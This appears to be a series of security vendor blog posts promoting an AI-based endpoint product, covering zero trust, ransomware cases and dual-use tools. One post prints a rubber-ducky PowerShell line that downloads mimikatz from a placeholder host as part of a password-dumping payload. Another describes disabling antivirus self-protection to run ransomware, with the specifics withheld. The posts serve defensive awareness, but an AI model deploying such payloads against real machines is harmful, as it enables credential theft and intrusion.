<h3>Humans: The Worst of Best Intentions</h3>
Why is this important to know? Don't we have a comprehensive security stack that prevents these kinds of attacks from working?  Years ago, I would have said yes. Still, my experience in the security industry taught me no amount of security could prevent the one weakness in every environment:  human error.  Underlying worry and the drive for self-preservation that often leads to poor decision-making is the direct cause of many security complications in organizations around the globe.  How can we keep the environment safe?  Applying best practices and maintaining rationality under stress.
Best practices used during regular periods are applicable during a crisis. For example, enforce a zero-trust model to limit external devices from connecting to physical machines or <a href="https://www.deepinstinct.com/mobile-security/" target="_blank" rel="noopener noreferrer">mobile devices</a> on your wireless network.  You might even dive into the extreme of using the firewall to limit permitted sites, which would ensure communication could only flow to and from sites you know are legitimate.  The key here is do not try to reinvent the wheel; you have procedures in place that will help keep you safe; you just might need to add some feature augmentation to bolster the solution.
<h3>Getting to Zero</h3>
Adding a zero-time model is a fantastic start, and I would also consider something which can do network isolation (in fact, this could work instead of the firewall option as it would be <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint</a> specific).
Something not considered much is how to <a href="https://www.deepinstinct.com/2020/03/17/working-from-home-in-the-new-era-of-covid19/" target="_blank" rel="noopener noreferrer">secure remote users</a>.  Remote users, for the most part, will not be on the VPN the whole time as many applications/sites do not require VPN unless all files are located purely on private and restricted areas of your network.  Can you feasibly keep those users safe while not impacting their day to day operations?  Absolutely!  You just need a product not reliant on daily updates, something that not only detects unknown attacks but prevents them before they cause any damage.
The preference would be a product that can operate and receive updates without needing to be on a corporate network or VPN. So if network isolation protocol changes, it would still accept and enact those changes.  A product that functions autonomously with comprehensive threat prevention capabilities.
In this time of crisis, it's paramount users keep their guard up when visiting websites, answering emails, and the like. However, in case they do have a momentary lapse of judgment, it's a great feeling knowing that you're safer because you have the best possible line of defense.  The human race will come through the <a href="https://www.deepinstinct.com/2020/03/17/working-from-home-in-the-new-era-of-covid19/" target="_blank" rel="noopener noreferrer">2020 Covid19 outbreak</a> with more understanding of how to handle future pandemics.  Our goal is to try and give you some additional levels of comfort and less to worry about, so you can focus on what's most important, your health and that of your loved ones.

How Coronavirus Turns You into Your Own Worst Enemy

In a previous article where I addressed dual-use tools as not being as innocent as perceived,  what better way to emphasize this point than by using a

rubberducky.jpg

In a previous article where I addressed <a href="https://www.deepinstinct.com/2020/01/05/be-afraid-of-dual-use-tools-and-their-power-of-complacency/" target="_blank" rel="noopener noreferrer">dual-use tools</a> as not being as innocent as perceived,  what better way to emphasize this point than by using another concept, both familiar and innocent, yet contorted to address evil purposes? I talk of course, of the rubber ducky.  To most people, the image conjured by the ‘Rubber Ducky’ resonates with a wholesome scene of Ernie and his yellow rubber ducky in the bubble bath singing a catchy tune for children. Yet, when security-minded people talk about rubber ducky the connotation is something completely different and substantially more malicious.
What is this said rubber ducky?  Far less loveable than the original, this rubber ducky is generally installed on a small USB flash drive then plugged into a computer, it acts as an HID (Human Interface Device) but inputs commands at superhuman speeds.  This rubber ducky can be programmed to do all kinds of nasty things (automatically) while requiring little intervention aside from plugging in and letting run for maybe 30 seconds.  The magic comes from the logic board which has an onboard microSD housing allowing you to use one device to load any of many “pre-configured” scripts which then act and complete in mere seconds.  This can be worrisome given the largest threat to a company turns out to be its employees (or soon to be ex-employees).
The USB rubber ducky is nice, but it raises suspicion when you are swapping out SD cards and plugging something back into a machine. So, what if there is a way to have multiple scripts available and a way to select them while not raising suspicion?  As it happens it’s not only possible but in fact, I’ve built my own version which I use to demonstrate the shortcomings of legacy AV solutions vs Next Gen security solutions.  Like <a href="https://www.deepinstinct.com/2020/01/05/be-afraid-of-dual-use-tools-and-their-power-of-complacency/">the last article</a> where I weaponized a dual-use tool and bypassed the <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint security</a> of multiple different programs, this challenge was issued by a colleague out of morbid curiosity.  As it turns out, getting everything installed and running was not as simple as I initially thought, but I detail here the parts I used, how I implemented the project, and the insights I gained as a result.
Parts List:
<ul>
<li>Raspberry Pi Zero-W (Wireless) w/GPIO pins soldered</li>
<li>MicroSD Class 10 (I used 32GB)</li>
<li>OLED screen w/4 way HAT</li>
<li>USB Type A riser board</li>
</ul>
Here is what it looks like when fully assembled (the case looks rough as I had to “customize” it so all the parts would fit.
<img class="alignnone wp-image-6562" src="https://www.deepinstinct.com/wp-content/uploads/2020/02/image1-1-450x338.jpg" alt="" width="482" height="363" />
<h3>The Project:</h3>
Despite its perhaps humble appearance, I am calling this “Ducky Evolved” as it takes the basis of rubber ducky and allows for the customization and selection of packages (many, many custom packages) without having to swap SD cards or even access a remote console/local console page.  Part of the reason this is so strong is the combination of the RBPi which is a very powerful and small form factor computer with a base image that contains a full installation of KALI Linux.  There are other aspects of the project I had to install and heavily customize (such as OLED drivers, package for the local console which can be used in-lieu of the on-screen console, custom packages/payloads which then are uploaded to the RBPi for easy selection/deployment).
If you notice in the picture above, there is a USB plug just like a regular rubber ducky, but since this is an RBPi there is also a data port which can be used to plug in (should you opt to use a local console instead of the OLED+HAT that was configured).  Below is what it looks like when you plug in via the data port (everything must be executed via local console instead of using the toggles since there is no direct access to the computer).  I added a tiny bit of flare with the boot screen of mine, but you could change the image to something a bit more discreet making this a bit less “suspicious” if someone were to see you plugging this in.
<img class="alignnone wp-image-6563" src="https://www.deepinstinct.com/wp-content/uploads/2020/02/Image2-450x253.jpg" alt="" width="490" height="276" />
&nbsp;
Here is the console when plugged in via the USB data port.
<img class="alignnone wp-image-6564" src="https://www.deepinstinct.com/wp-content/uploads/2020/02/image3-450x337.jpg" alt="" width="491" height="368" />
Almost all the legacy AV solutions I tested in the prior article about dual-use tools did not detect anything the ducky was running because they are not designed to.  Script analysis and prevention are not something most legacy AV solutions attempt and the ones which do attempt it, fail at picking up most of the payloads.  Here is an example of a common payload which the original USB Rubber Ducky likes to execute (I am not putting the entire script, just the key part which most AV solutions SHOULD prevent but do not):
STRING PowerShell (new-object System.Net.WebClient).DownloadFile('http://&lt;replace me with webserver ip/host&gt;/mimikatz.exe','%TEMP%\mimikatz.exe')
The above string is utilized in part with the rest of the scripting to quickly (in less than 15 seconds) dump any and all accounts and passwords (including administrative) from the machine. Since mimikatz.exe is technically a dual-use tool not many classify the file itself as malicious, but normally detect it when it’s paired with other files of a malicious nature.
One way to prevent this is with some form of restriction on using mass storage devices via group policy:
All Removable Storage Access: Deny All Access
Most environments sadly don’t have that level of restriction (<a href="https://www.deepinstinct.com/2019/12/15/the-intersection-between-zero-trust-and-zero-time/" target="_blank" rel="noopener noreferrer">see the article on zero trust</a>) so you will be completely reliant on the zero-time model to save you.  Legacy AV solutions do not have the capability to prevent this quickly and easily, but Deep Instinct does, its script prevention model will halt the ability for PowerShell/CScript/Wscript to execute in your environment.  The need for a strong zero-time solution combined with a very strong understanding and application of a zero-trust model is an absolute necessity to protect against this type of threat. Deep Instinct which combines the most advanced form of <a href="https://www.deepinstinct.com/endpoint-protection/">AI Deep Learning</a> provides responses in less than a second, instead of over a minute which is the case with other solutions
So why not use the best solution on the market?
<a href="https://www.deepinstinct.com/" target="_blank" rel="noopener noreferrer">Deep Instinct</a>…. we prevent what others can’t find!

Agent Ducky Presents: The Lockdown

In the last two articles, I have covered Legacy AV solutions and why they are outdated when looking at the current threat landscape and the changing o

complacency.jpg

In the last two articles, I have covered <a href="https://www.deepinstinct.com/2019/11/17/legacy-av-why-keep-crawling/" target="_blank" rel="noopener noreferrer">Legacy AV</a> solutions and why they are outdated when looking at the current threat landscape and the changing of the guard surrounding <a href="https://www.deepinstinct.com/2019/12/15/the-intersection-between-zero-trust-and-zero-time/" target="_blank" rel="noopener noreferrer">zero trust</a> only security solutions.  In this article, we are going to cover something that is a little more “personal” as it might hit a little bit closer to home than we would like.  The current state of security operations/security engineering has become far too lenient in allowing tools of convenience to run amok within their environments causing self-inflicted incidents of utter chaos and panic once the tool has been weaponized.
What could possibly get into your environment that would not be detected and leave you so vulnerable?  Some of these tools of convenience are already on your PC, such programs are Powershell, Process Explorer, PsExec, Process Hacker, etc.  These programs are tools with “dual-use”. We call them “dual-use” tools as they are designed to make our lives easier, but they also make the job of malicious coders easier, as they leave your environment open to some extremely nasty points of entry/takeover.
A good example of dual-use tools being manipulated and wreaking chaos in an environment is Sodinokibi (also called REvil).  By weaponizing this tool, attackers (bad actors) can compromise the dual-use RMM tools companies are using and leverage them to drop <a href="https://www.deepinstinct.com/product-overview/">malware</a> into the environment.  This is most successful with a legacy AV solution being in place, which cannot detect file-less attacks via any form of efficient script prevention.  That has been a commonplace attack vector since late 2018 and almost all of 2019 (although positive strides are being taken by RMM providers to enhance security and make 2FA mandatory).  Read the white paper that we released on <a href="https://info.deepinstinct.com/whitepaper-making-sense-of-fileless-malware" target="_blank" rel="noopener noreferrer">file-less malware.</a>
I was recently challenged by a colleague who questioned how simple it could be to weaponize a consumer-based program and circumvent any end-point security installed. Challenge accepted! After downloading a common dual-use tool (name withheld purposely) I weaponized it (no details provided purposely) to enable the removal of crucial files. These files were initially self-protected by the endpoint security program. To no surprise, the <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint security solution</a> still showed “enabled” with no errors, any signs of any issues or manipulations required. I was then able to easily drop Dharma ransomware (Crysis variant) on the endpoint and fully encrypt it.  Total time to prepare? 30 seconds to 1 minute!  Total time of resulting chaos? Weeks to months! At the time of this test, a handful of vendors detected the tool I weaponized, but Deep Instinct actually halted it based on the potential behavior.  It’s not uncommon for bad actors to probe an environment with different software to see what is detected and what is not.  Sadly, I have previously seen this exact behavior with one unfortunate company where I assisted with the post-mortem analysis.
What did it look like when I ran through the process to encrypt the machine while the security solution was actively enabled?  Below is the file flow utilized locally on the machine (this can also be done remotely with utilities like PsExec to execute the commands for the program in question).
Step 1: Getting the program downloaded (name omitted) and validating it was not detected by the enterprise <a href="https://www.deepinstinct.com/product-overview/">security solution</a> installed on the endpoint.
Step 2: Isolating the processes in question and finding the specific file we want to terminate.
<img class="alignnone size-full wp-image-6409" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4ce636a0c0d0c0b3/611a7ded9335cc162c8960be/specific-file.png" alt="" width="179" height="409" />
Step 3: Gain access/delete the key file which should be protected via self-protection.
<img class="alignnone wp-image-6410 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdd9849acd3e5ef6e/611a7deb252ebc15cd9d1eb7/step3.png" alt="" width="663" height="54" />
Step 4: Validating the program which still thinks it’s “active” even though it won’t do anything on the back end.
<img class="alignnone wp-image-6411 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt726d9081da7a5bbc/611a7deabf98451666a13328/step4.png" alt="" width="850" height="51" />
Step 5: Ransomware running while the program is “Enabled”.
<img class="alignnone wp-image-6412 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt94a2e1002df177ec/611a7dea59600f169a954b0c/step5.png" alt="" width="892" height="98" />
Step 6: Complete lockdown of the machine via ransomware while the program is “installed” and running thanks to a dual-use tool.
<img class="alignnone wp-image-6408 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt62a7b84d512b0661/611a7df13832d8165f1bf146/step6.png" alt="" width="1549" height="264" />
Another great example that has been in the news recently (December 2019) is the <a href="https://threatpost.com/snatch-team-infiltrates-steals-data-ransomware/150974/" target="_blank" rel="noopener noreferrer">“Snatch” ransomware</a> which reboots machines to safe mode prior to running the encryption.  This is new and unique as Safe Mode was primarily used to halt ransomware or to assist in remediation as it would prevent network communication and limit access to services/execution runtimes by design.  Snatch ransomware does several different dumps to gather data, all of which are not outside the normal realm of operations for ransomware. However, what is different are the tools and methods for the infection.  Legitimate tools are downloaded, such as Advanced Port Scanner, which is used to identify more targets in the environment.  But the most lethal part of Snatch’s methods is from a dual-use tool called PsExec.
PsExec is a utility far too many admins rely on for permitting remote execution of commands on machines for convenience. However, this “convenience” is now a nightmare!  The whole process of this ransomware (executing files, rebooting to safe mode, detonating payload) all hinge on the usage of PsExec interacting with user32.dll (a system process that is needed for your PC to work properly) and then a randomly generated file such as XXXXX_unpack.exe.
Legacy AV solutions require so much configuration to restrict anything which is not directly coded into their content files, by way of manual additions to either management consoles or policies.  This brings about a certain level of complacency within most security teams because the programs are not inherently malicious.  The thought of them being weaponized is generally overlooked until it’s too late and creates chaos in their environment.
Believe it or not, there already exists a solution that can handle all of this. This same solution has minimal management overhead and offers the ability to block all PUA (Potentially Unwanted Applications) outright via policy allowing your security team to spend their time working on actual issues.
Curious to know more about how it works?  Reach out and let’s have a conversation!
<a href="https://www.deepinstinct.com/">Deep Instinct</a>, we prevent what others can’t find!

Be Afraid of Dual Use Tools and their Power of Complacency

Security Admin 101 - Call me Z3R0

When it comes to the endpoint, security has come under heavy fire lately!  All over the news and social media bus

zerozero.jpg

Security Admin 101 - Call me Z3R0
When it comes to the <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint</a>, security has come under heavy fire lately!  All over the news and social media businesses are under siege by ransomware that were expected to be prevented by their installed security products.  It seems almost every day there are new reports of businesses infected with ransomware. Why are businesses faltering everywhere when it comes to preventing these attacks?  The answer to this can be attributed to the major<a href="https://www.deepinstinct.com/2019/11/17/legacy-av-why-keep-crawling/" target="_blank" rel="noopener noreferrer"> shortcomings of legacy AV solutions</a> that the majority of enterprises are using.  Considering these shortcomings of legacy AV, there needs to be more conversation about two different models that can, and should, be employed in your environment to bolster security.
Many are aware of the Zero-Trust based model and how it’s designed to limit the access of programs/users internally. Indeed, it’s a fantastic start to implementing a solid security strategy.  Far fewer are aware of the Zero-Time model, although it is gaining traction.  The idea behind the zero-time model is nothing out of the ordinary as it’s the ability to detect/prevent threats in what most would call “real-time”.  The irony, however, is that “real-time” by many security vendors really involves up to 60 seconds for detection to occur, 10 minutes to analyze and investigate, an hour to contain and remediate, and sometimes even longer depending on the solution being utilized.  Two different models with different scopes, but which surprisingly overlap, such that if you’re planning to implement either model in your environment, it just makes sense to do both.
A major topic of conversation that comes up often is about IP (Intellectual Property) and how “data breaches” are extremely worrisome to organizations. Imagine having a product that would revolutionize your industry only for the public or worse, your competitor, getting their hands on your “secret sauce”. That concern has many executives and cybersecurity managers scrambling to find a way to keep things “in-house”, a task which is extremely challenging.  Enter the zero-trust model of which a major factor is limiting user access to data they need and not just giving blanket access because it’s easier (read: lazy).
This exact scenario demonstrates the statistics around data breaches and the timetables provided by the <a href="https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf" target="_blank" rel="noopener noreferrer">Verizon Data Breach Information Report (DBIR)</a> which found that from amongst their 73 contributors with 41,686 security incidents, 2,013 had confirmed breaches.  Not all of these were physical breaches, but in many cases, (~24%) the breach would be from an external based initiator (malware/ransomware). One major focus with a zero-trust model is migrating “privileged users” or users with admin access toward the same permission set of “normal users” to limit the chances of a data breach.
Assuming you have implemented a very solid zero-trust model you are still potentially missing the ~24% of threats which caused a breach, such as ransomware. Ransomware never ceases to make headlines, as this article was written a ransomware hit Virtual Care Provider Inc. (VCPI). An <a href="https://krebsonsecurity.com/2019/11/110-nursing-homes-cut-off-from-health-records-in-ransomware-attack/" target="_blank" rel="noopener noreferrer">IT company which provides countless services (cloud data hosting, security, and access management) to more than 100 nursing homes</a>.  The impact of this is absolutely catastrophic as it could involve putting patients in a critical condition due to the inability to access records or medicine dispensing records.  How would zero-time help in this scenario?  For 14 months this VCPI’s environment was probed and hit with different variants of malware/ransomware, particularly <a href="https://www.deepinstinct.com/2019/11/17/legacy-av-why-keep-crawling/">Ryuk</a> which is a variant of the <a href="https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/">Trickbot trojan</a>, as the environment was vulnerable, having no form of prevention.
What VCPI was hit with is not new, but the detailed analysis showed that it followed a trend in how companies are impacted by ransomware. 14 months prior the attacks were not successful, but the attackers kept persevering until they found a way to disable the current AV solution on the machines. Once achieved, they were able to run custom scripts and then drop the ransomware.  Would zero-time have prevented this?  Absolutely! Zero-time actually means zero-time, not 60 second “real-time”.  Today’s “next-gen” solutions have the capability to utilize AI technologies like <a href="https://www.deepinstinct.com/">deep learning</a> to provide actual zero-time prevention thus tangibly increasing the overall security level of the environment.  Zero-time is what you want implemented to help prevent against ransomware attacks and against things like dual-use tools that could be weaponized and then utilized to wreak havoc on your environment.
You’re probably wondering how much can actually happen in 60 seconds? The answer - A LOT!  Deep Instinct’s testing lab has found that if a dropper gets on a machine and is not detected then chances are the payload is also not detected and it took less than 60 seconds for a whole machine to become encrypted.  Is this a risk worth taking in your environment?  Is it worth risking what the above-mentioned provider was quoted to get all their data back ($14 million in bitcoin?).
<img class="alignnone wp-image-6348 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte927943b0d1931ba/611a7e2080ead51658dd2620/zero-zero.jpg" alt="" width="487" height="298" />
<h6>Caption: The Zero/Zero symbiotic relationship</h6>
Zero-trust covers the internal side of things and Zero-time covers the external side, but what features make the zero-time model an absolute “killer-app”?  What needs to be included in a program to make it capable of zero-time?  You need to have more than just detection and prevention of known items, almost all AV solutions can do that with a DAT file or a simple set of instructions.  The product being used should offer the ability to block/prevent any “questionable” applications prior to reaching the machine.
Optimally, the solution should also involve the ability to prevent the exploitation of Powershell scripts, Wscript and Cscript (the more common targets of file-less malware).  Most importantly, it needs to have actual zero-time analysis and determination of files specifically to prevent that delay in “finding” and convicting a file optimally with advanced learning on the back end.  Lastly, it needs to make your life easier and not take substantial amounts of increased resources to manage (read: this doesn’t mean “easy-bake oven” set and forget management).  <a href="https://www.deepinstinct.com/">Deep Instinct</a> has these capabilities and more, within the provided console, specifically designed to be the next-gen solution for your environment to make your security life easier and allow you to implement a strong zero-time solution in combination with a zero-trust model.
In the overlap between the models, zero-trust can and will assist with the prevention of programs/scripts internally if the user is locked down, while zero-time becomes crucial in the event a user, for example, accidentally downloads a macro-enabled word document or PDF with a binary segment set to autorun on launch.  The overlap between the models pays off and bolsters your security!  Zero/Zero takes time to implement, but with the right solution your zero-time implementation can and will be successfully easier to manage and vastly less painful!
Want to know more?  Reach out, let’s have a conversation!
Deep Instinct, we prevent what others can't find.

The Intersection between Zero Trust and Zero Time



As originally published on Mathew Fulmer's LinkedIn Profile on November 14th, 2019








&nbsp;

There are many different solutions o

LegacyAV.jpg

<div id="artdeco-toasts__wormhole"></div>
<div id="ember6" class="ember-view">
<div id="smartbanner-wormhole">As originally published on <a href="https://www.linkedin.com/pulse/legacy-av-why-keep-crawling-matthew-l-fulmer/" target="_blank" rel="noopener noreferrer">Mathew Fulmer's LinkedIn Profile on November 14th, 2019</a></div>
<div class="application-outlet ">
<div class="ember-view"></div>
<div class="authentication-outlet">
<div class="reader">
<article class="reader__content" role="main">
<div class="relative reader__grid">
<div id="ember477" class="ember-view">
<div class="reader-article-content" dir="ltr">
&nbsp;
There are many different solutions on the market all of which advertise the utmost of defense for endpoints, but what's the difference between them and next-generation AV solutions?
First we should classify what is "next-gen" vs what is "legacy" as that will factor heavily in our discussion.
"Legacy" antivirus is anything relying on content created by a human and delivered to the endpoint via an update with a scheduled frequency (commonly this would be daily but some vendors actually do updates substantially more frequently). Legacy antivirus also comes with inherent limitations based on those required updates.
Daily updates don’t sound bad, do they? What if I told you those daily updates have most likely been in development for the greater part of a week? That a human was having to write the instructions for the program to "detect" said malicious content being added to the content. So, what about the malicious content the detection engineer doesn't know about then? Surely, they cannot know about everything malicious, so what happens when they cannot provide a content file that covers everything? This is where you have the heuristic data mentioned above coming in to play, it was designed to "catch the unknowns" and ensure you were protected from future malicious releases or campaigns. For this content to be created you would have a team of people sitting around downloading any and all samples they could find, be it from VirusTotal or the dark web all to try and reverse engineer the samples and "build detection" which would keep people safe. Here's a little flaw in the whole "daily content update" nobody likes to share: not everything gets put into the content files! I repeat, along with it taking upwards of a week to initially add the content, not everything gets added purely to "save space" when it comes to the overall size of the content file!
Just to give you an example of the size we are talking about and why not every piece of content can be added: The average AV installer program is ~180MB compressed, when installed you are looking at normally double that size depending on features. That's not counting the data coming down for the DAT/Content files. The average size of content files is ~80-180MB depending on vendor (in the case of a major endpoint solution provider they have a program which is 1GB in size, and that's just the installer to download). The process is as follows with "most" companies - Download the installer package for the endpoint, post-installation package checks in with company repository and/or management console for updates, any patches are brought down to update the program itself followed by content files for detection. So, what does that mean in the environment? Well, first off until the content is brought down you are sitting there with a "base detection file" which has the bare minimum in detection available. Second, you are at the mercy of the internal bandwidth, or in the case of remote users their overall bandwidth to pull down the content updates and secure them. Now, factor in how many machines are in your environment (average enterprise is 50,000 machines?) and how much bandwidth it takes for all those machines to try and pull that content down should they accidentally all get deployed around the same time. It's not a pretty sight, but neither is the success rate of legacy AV against current threat trends.
<a href="https://www.npr.org/2019/08/20/752695554/23-texas-towns-hit-with-ransomware-attack-in-new-front-of-cyberassault" target="_blank" rel="noopener noreferrer"><img class="alignnone wp-image-6257" src="https://www.deepinstinct.com/wp-content/uploads/2019/11/LegacyAV2-450x197.jpg" alt="" width="673" height="295" /></a>
In cases like the above, you would end up with malicious content (such as ransomware) which gets through and impacts your environment/clients in a very negative way. Not only does this cost you monetarily but it also can cost you in the form of a damaged reputation in the cybersecurity industry, a blemish that can be quite hard to overcome. Recent examples of this would be the 22 municipalities hit by ransomware in Texas, the damage done monetarily has put the groups in charge of managing the security in a terrible position and tarnished their reputation greatly. Last I checked there were ~12,000 unique variants of just WannaCry alone and from experience all it took to get around most legacy AV solutions was changing one tiny bit of data, just enough to force an update of the SHA/MD5 (hash value) so that the detection within the signatures (DAT/content) would no longer recognize it as malicious. As an example of how severe the ransom demands can be, one must look no further than New Bedford in Massachusetts which was hit with Ryuk, an evolution of ransomware which contained elements of SamSam, WannaCry, and other major variants. They were asked to pay 5.3 million in ransom to obtain access to their files. Atlanta city government spent $17 million recovering from a ransomware attack in lieu of spending $52,000 which was the ransom request. Baltimore was hit with ransomware asking for 13 Bitcoin per computer (~$75,000 per) to regain access. The FBI advised them to not pay and the overall cost quickly approached $18 million to recover from said attack.
<a href="https://www.engadget.com/2019/06/06/baltimore-ransomware-18-million-damages/" target="_blank" rel="noopener noreferrer"><img class="alignnone wp-image-6258" src="https://www.deepinstinct.com/wp-content/uploads/2019/11/LegacyAV3-450x168.jpg" alt="" width="676" height="253" /></a>
The above examples were not necessarily an endpoint security-based issue although with the proper endpoint solution the threat would have been fully mitigated. Would a legacy AV have stopped this? Doubtful, the variants which hit them were a new wave of targeted malware campaigns, some of which were fileless variants which legacy AV solutions cannot protect against. If a legacy AV cannot protect against this then what makes the next-gen solution better? It cannot be that different right? Yes, it can! With the advent of programs using AI and Deep Learning to intelligently learn about threats and prevent them before a human can even get involved with the "training" process. Today’s frame of mind shouldn’t be "if" you get attacked by a ransom campaign, but rather "when". Many CISOs today are finding that they are woefully understaffed and vastly outgunned on the endpoint front compared to the tricks the new wave of malware content creators employ. Most consider themselves to be “next-gen” in the world of cybersecurity and endpoint security? Most consider themselves to be “next gen” if they have an offering available that has some AI, mostly Machine Learning AI. What isn’t discussed is the prevalence of false positives which causes the detection level to be lowered to reduce the noise and workload of the SOC teams chasing down issues that turn out to be innocuous. Which happens to be the biggest caveat to Machine Learning AI. So, what really makes a next-gen solution then?
First off, for a "next-gen" solution to truly be next-gen it should be leveraging more than just base level machine learning (which still involves a great deal of human involvement). This human element can be the make or break when it comes to the success of the product and while it sounds highly advanced there are still better options that limit the necessity of human interaction. Artificial Intelligence and the understanding/application of deep learning to cybersecurity have ushered in a completely new way of preventing malicious attacks, something absolutely needed, considering the currently evolving threat landscape. For example, a large amount of fileless malware utilizes PowerShell without conducting a write action on the location machine (a write action is a necessity for a legacy machine to trigger a scan of the file), AI/Deep Learning can leverage numerous different aspects to analyze said fileless attacks and prevent them from even getting through the environment. Machine learning is the first iteration of AI in the endpoint security field when applied correctly. Here is the most commonly accepted description of machine learning: A subset of artificial intelligence involved with the creation of algorithms that can modify itself without human intervention to produce desired output - by feeding itself through structured data. I liken this to a child learning to crawl. It's the first signs of independent movement (or in this case autonomous detection/prevention) in the endpoint security world, but as I mentioned this must be applied correctly. There is still a high level of risk due to the human involvement aspect of "programming" the algorithm initially as well as understanding the right data sets to feed the algorithm for proper "learning". What I mean by "programming" is that the data must be structured for the algorithm to really put it to use but requires upfront labeling to help the machine make the necessary connections. Sounds advanced and helpful, right? But wait, there’s more!
If we consider Machine Learning AI as the crawling phase, with Deep Learning AI, we have entered the walking phase. How much different could Deep Learning be from Machine Learning? Quite a bit, here’s the simplest way of describing Deep Learning: A subset of machine learning where algorithms are created and function like those in machine learning, but there are numerous layers of these algorithms- each providing a different interpretation to the data it feeds on. Such a network of algorithms is called artificial neural networks, being named so as their functioning is an inspiration, or you may say; an attempt at imitating the function of the human neural networks present in the brain. This means that while Machine Learning AI requires a strict subset of data for the pathways to be connected and detection/prevention to occur, Deep Learning AI is behaving closer to how a human brain would learn, by taking the data/experiences it's seeing and building an understanding of relationships between what it's seeing and the underlying results. But why walk when you can run? Deep Instinct is the pioneer of using Deep Learning for cybersecurity purposes and while others are crawling with their machine learning we are already lapping our competition. How good is <a href="https://www.deepinstinct.com/" target="_blank" rel="nofollow noopener noreferrer">Deep Instinct</a>?
Maybe it's time for you to become one of "The Learned Few"? Reach out to learn more about how successful CISOs are using deep learning to prevent attacks from entering their enterprise every single day. At <a href="https://www.deepinstinct.com/" target="_blank" rel="nofollow noopener noreferrer">Deep Instinct,</a> we prevent tomorrow's threats today!
</div>
</div>
</div>
</article>
</div>
</div>
</div>
</div>

Unit 221B Validates >99% Zero-Day and <0.1% False Positive Threat Prevention Accuracy

Matthew Fulmer

From Matthew Fulmer.